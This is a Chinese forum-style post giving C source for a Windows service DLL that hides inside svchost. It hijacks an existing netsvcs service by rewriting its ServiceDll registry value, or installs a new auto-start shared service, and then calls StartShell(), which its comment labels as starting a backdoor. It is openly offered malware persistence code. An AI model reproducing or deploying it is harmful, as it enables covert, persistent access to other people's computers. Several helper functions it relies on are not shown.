SVCHOST启动技术

//说明：大部门代码来自bingle的文章，感谢bingle，并加入装载自启动代码
//感谢使用，幻影光临白帽子实验室 http://www.dream2fly.net/forum

Code Language : C

//Service HANDLE & STATUS used to get service state
SERVICE_STATUS_HANDLE hSrv;
DWORD dwCurrState;
 
//report service stat to the service control manager
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress );
 
//RealService just create a process dream2fly.net
int ControlService(DWORD dwCommand)
{
 char cmd[MAX_PATH] = {0};
 if (dwCommand == SERVICE_CONTROL_CONTINUE)
 {
 strcpy(cmd, "net start ");
 }
 else if(dwCommand == SERVICE_CONTROL_STOP)
 {
 strcpy(cmd, "net stop ");
 }
 strcat(cmd, stServiceCfg.szSvcName);
 
 PROCESS_INFORMATION pi;
 STARTUPINFO si;
 memset(&si,0,sizeof(si));
 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
 si.wShowWindow=SW_HIDE;
 if(!CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
 OutputString("SvcHostDLL: CreateProcess(%s) error:%d", cmd, GetLastError());
 else OutputString("SvcHostDLL: CreateProcess(%s) to %d", cmd, pi.dwProcessId);
 
 return 0;
}
 
int ReplaceService()
{
 int rc = 0;
 HKEY hKey = 0;
 
 try{
 char buff[500];
 
 //query svchost setting
 char *ptr, *pSvchost = "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Svchost";
 rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_QUERY_VALUE, &hKey);
 if(ERROR_SUCCESS != rc)
 {
 OutputString("RegOpenKeyEx(%s) KEY_QUERY_VALUE error %d.", pSvchost, rc);
 throw "";
 }
 
 DWORD type, size = sizeof buff;
 rc = RegQueryValueEx(hKey, "netsvcs", 0, &type, (unsigned char*)buff, &size);
 RegCloseKey(hKey);
 SetLastError(rc);
 if(ERROR_SUCCESS != rc)
 throw "RegQueryValueEx(Svchost//netsvcs)";
 
 for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
 if(stricmp(ptr, stServiceCfg.szSvcName) == 0) break;
 
 if(*ptr == 0)
 {
 OutputString("you specify service name not in Svchost//netsvcs, must be one of following:");
 for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
 OutputString(" - %s", ptr);
 throw "";
 }
 
 //config service
 strncpy(buff, "SYSTEM//CurrentControlSet//Services//", sizeof buff);
 strcat(buff, stServiceCfg.szSvcName);
 rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey);
 if(ERROR_SUCCESS != rc)
 {
 OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc);
 throw "";
 }
 
 DWORD dwValue = 2;//auto start
 rc = RegSetValueEx(hKey, "Start", 0, REG_DWORD, (unsigned char*)&dwValue, sizeof(DWORD));
 SetLastError(rc);
 if(ERROR_SUCCESS != rc)
 throw "RegSetValueEx(start)";
 
 ////////////////////
 char szDllPath[MAX_PATH] = {0};
 if(!GetModuleFileName(HMODULE(hDll), szDllPath, sizeof szDllPath))
 throw "GetModuleFileName() get dll path";
 
 LogToFile(szDllPath, GetLastError());
 
 strcat(buff, "//Parameters");
 rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey);
 if(ERROR_SUCCESS != rc)
 {
 OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc);
 throw "";
 }
 rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)szDllPath, strlen(szDllPath)+1);
 SetLastError(rc);
 if(ERROR_SUCCESS != rc)
 throw "RegSetValueEx(ServiceDll)";
 
 
 OutputString("Config service %s ok.", stServiceCfg.szSvcName);
 }
 catch(char *str)
 {
 if(str && str[0])
 {
 rc = GetLastError();
 OutputString("%s error %d", str, rc);
 }
 }
 
 RegCloseKey(hKey);
 
 //启动服务
 ControlService(SERVICE_CONTROL_CONTINUE);
 
 return 0;
}
 
int RecoverService()
{
 int rc = 0;
 HKEY hKey = 0;
 
 try{
 LogToFile("RecoverService");
 char buff[500];
 
 //config service
 strncpy(buff, "SYSTEM//CurrentControlSet//Services//", sizeof buff);
 strcat(buff, stServiceCfg.szSvcName);
 rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey);
 if(ERROR_SUCCESS != rc)
 {
 OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc);
 throw "";
 }
 
 LogToFile("RegSetValueEx");
 DWORD dwValue = 3;//manule start
 rc = RegSetValueEx(hKey, "Start", 0, REG_DWORD, (unsigned char*)&dwValue, sizeof(DWORD));
 SetLastError(rc);
 if(ERROR_SUCCESS != rc)
 throw "RegSetValueEx(start)";
 
 ////////////////////
 char szDllPath[MAX_PATH] = {0};
 strcpy(szDllPath, "%SystemRoot%//System32//qmgr.dll");
 
 strcat(buff, "//Parameters");
 rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey);
 if(ERROR_SUCCESS != rc)
 {
 OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc);
 throw "";
 }
 rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)szDllPath, strlen(szDllPath)+1);
 SetLastError(rc);
 if(ERROR_SUCCESS != rc)
 throw "RegSetValueEx(ServiceDll)";
 
 
 OutputString("RecoverService(%s) SUCCESS.", stServiceCfg.szSvcName);
 }
 catch(char *str)
 {
 if(str && str[0])
 {
 LogToFile(str);
 rc = GetLastError();
 OutputString("%s error %d", str, rc);
 }
 }
 
 RegCloseKey(hKey);
 
//说明：大部门代码来自bingle的文章，感谢bingle，并加入装载自启动代码
//感谢使用，幻影光临白帽子实验室http://www.dream2fly.net/forum
 
 ControlService(SERVICE_CONTROL_STOP);
 return 0;
}
 
BOOL InstallService()
{
 // Open a handle to the SC Manager database.
 int rc = 0;
 HKEY hKey, hkParam = 0;
 SC_HANDLE hscm = NULL, schService = NULL;
 
 try{
 char buff[500];
 
 //query svchost setting
 char *ptr, *pSvchost = "SOFTWARE//Microsoft//Windows NT//CurrentVersion//Svchost";
 rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pSvchost, 0, KEY_QUERY_VALUE, &hKey);
 if(ERROR_SUCCESS != rc)
 {
 OutputString("RegOpenKeyEx(%s) KEY_QUERY_VALUE error %d.", pSvchost, rc);
 throw "";
 }
 
 DWORD type, size = sizeof buff;
 rc = RegQueryValueEx(hKey, "netsvcs", 0, &type, (unsigned char*)buff, &size);
 RegCloseKey(hKey);
 SetLastError(rc);
 if(ERROR_SUCCESS != rc)
 throw "RegQueryValueEx(Svchost//netsvcs)";
 
 for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
 if(stricmp(ptr, stServiceCfg.szSvcName) == 0) break;
 
 if(*ptr == 0)
 {
 OutputString("you specify service name not in Svchost//netsvcs, must be one of following:");
 for(ptr = buff; *ptr; ptr = strchr(ptr, 0)+1)
 OutputString(" - %s", ptr);
 throw "";
 }
 
 //create service
 hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
 if (hscm == NULL)
 throw "OpenSCManager()";
 
 char *bin = "%SystemRoot%//system32//svchost.exe -k netsvcs";
 schService = CreateService(
 hscm, // SCManager database
 stServiceCfg.szSvcName, // name of service
 stServiceCfg.szSvcName, // service name to display
 SERVICE_ALL_ACCESS, // desired access
 SERVICE_WIN32_SHARE_PROCESS, // service type
 SERVICE_AUTO_START, // start type
 SERVICE_ERROR_NORMAL, // error control type
 bin, // service's binary
 NULL, // no load ordering group
 NULL, // no tag identifier
 NULL, // no dependencies
 NULL, // LocalSystem account
 NULL); // no password
 
 if (schService == NULL)
 {
 OutputString("CreateService(%s) error %d", stServiceCfg.szSvcName, rc = GetLastError());
 throw "";
 }
 OutputString("CreateService(%s) SUCCESS. Config it path %s", stServiceCfg.szSvcName, bin);
 
 CloseServiceHandle(schService);
 CloseServiceHandle(hscm);
 
 
 //config service
 strncpy(buff, "SYSTEM//CurrentControlSet//Services//", sizeof buff);
 strncat(buff, stServiceCfg.szSvcName, 100);
 rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, buff, 0, KEY_ALL_ACCESS, &hKey);
 if(ERROR_SUCCESS != rc)
 {
 OutputString("RegOpenKeyEx(%s) KEY_SET_VALUE error %d.", stServiceCfg.szSvcName, rc);
 throw "";
 }
 
 rc = RegCreateKey(hKey, "Parameters", &hkParam);
 SetLastError(rc);
 if(ERROR_SUCCESS != rc)
 throw "RegCreateKey(Parameters)";
 
 if(!GetModuleFileName(HMODULE(hDll), buff, sizeof buff))
 throw "GetModuleFileName() get dll path";
 
 rc = RegSetValueEx(hkParam, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)buff, strlen(buff)+1);
 SetLastError(rc);
 if(ERROR_SUCCESS != rc)
 throw "RegSetValueEx(ServiceDll)";
 
 OutputString("Config service %s ok.", stServiceCfg.szSvcName);
 }
 catch(char *str)
 {
 if(str && str[0])
 {
 rc = GetLastError();
 OutputString("%s error %d", str, rc);
 }
 }
 
 RegCloseKey(hKey);
 RegCloseKey(hkParam);
 CloseServiceHandle(schService);
 CloseServiceHandle(hscm);
//说明：大部门代码来自bingle的文章，感谢bingle，并加入装载自启动代码
//感谢使用，幻影光临白帽子实验室http://www.dream2fly.net/forum
 
 //启动服务
 ControlService(SERVICE_CONTROL_CONTINUE);
 
 return rc;
}
 
int UninstallService()
{
 int rc = 0;
 SC_HANDLE schService;
 SC_HANDLE hscm;
 
 __try{
 hscm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
 if (hscm == NULL)
 {
 OutputString("OpenSCManager() error %d", rc = GetLastError() );
 return rc;
 }
 
 schService = OpenService(hscm, stServiceCfg.szSvcName, DELETE);
 if (schService == NULL)
 {
 OutputString("OpenService(%s) error %d", stServiceCfg.szSvcName, rc = GetLastError() );
 return rc;
 }
 
 if (!DeleteService(schService) )
 {
 OutputString("OpenService(%s) error %d", stServiceCfg.szSvcName, rc = GetLastError() );
 return rc;
 }
 
 OutputString("DeleteService(%s) SUCCESS.", stServiceCfg.szSvcName);
 }
 __except(1)
 {
 OutputString("Exception Catched 0x%X", GetExceptionCode());
 }
 
 CloseServiceHandle(schService);
 CloseServiceHandle(hscm);
 
 ControlService(SERVICE_CONTROL_STOP);
 
 return rc;
}
 
void ServiceMain( int argc, wchar_t *argv[])
{
 char svcname[256];
 strncpy(svcname, (char*)argv[0], sizeof svcname); //it's should be unicode, but if it's ansi we do it well
 wcstombs(svcname, argv[0], sizeof svcname);
 OutputString("SvcHostDLL: ServiceMain(%d, %s) called", argc, svcname);
 
 hSrv = RegisterServiceCtrlHandler( svcname, (LPHANDLER_FUNCTION)ServiceHandler );
 if( hSrv == NULL )
 {
 OutputString("SvcHostDLL: RegisterServiceCtrlHandler %S failed", argv[0]);
 return;
 }
 
 TellSCM( SERVICE_START_PENDING, 0, 1 );
 TellSCM( SERVICE_RUNNING, 0, 0 );
 
 StartShell();//启动后门dream2fly.net
 
 OutputString("SvcHostDLL: ServiceMain done");
 return;
}
 
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
{
 SERVICE_STATUS srvStatus;
 srvStatus.dwServiceType = SERVICE_WIN32_OWN_PROCESS;
 srvStatus.dwCurrentState = dwCurrState = dwState;
 srvStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE | SERVICE_ACCEPT_SHUTDOWN;
 srvStatus.dwWin32ExitCode = dwExitCode;
 srvStatus.dwServiceSpecificExitCode = 0;
 srvStatus.dwCheckPoint = dwProgress;
 srvStatus.dwWaitHint = 3000;
 return SetServiceStatus( hSrv, &srvStatus );
}
 
void __stdcall ServiceHandler( DWORD dwCommand )
{
 // not really necessary because the service stops quickly
 switch( dwCommand )
 {
 case SERVICE_CONTROL_STOP:
 TellSCM( SERVICE_STOP_PENDING, 0, 1 );
 OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_STOP");
 Sleep(10);
 TellSCM( SERVICE_STOPPED, 0, 0 );
 break;
 case SERVICE_CONTROL_PAUSE:
 TellSCM( SERVICE_PAUSE_PENDING, 0, 1 );
 OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_PAUSE");
 TellSCM( SERVICE_PAUSED, 0, 0 );
 break;
 case SERVICE_CONTROL_CONTINUE:
 TellSCM( SERVICE_CONTINUE_PENDING, 0, 1 );
 OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_CONTINUE");
 TellSCM( SERVICE_RUNNING, 0, 0 );
 break;
 case SERVICE_CONTROL_INTERROGATE:
 OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_INTERROGATE");
 TellSCM( dwCurrState, 0, 0 );
 break;
 case SERVICE_CONTROL_SHUTDOWN:
 OutputString("SvcHostDLL: ServiceHandler called SERVICE_CONTROL_SHUTDOWN");
 TellSCM( SERVICE_STOPPED, 0, 0 );
 break;
 }
}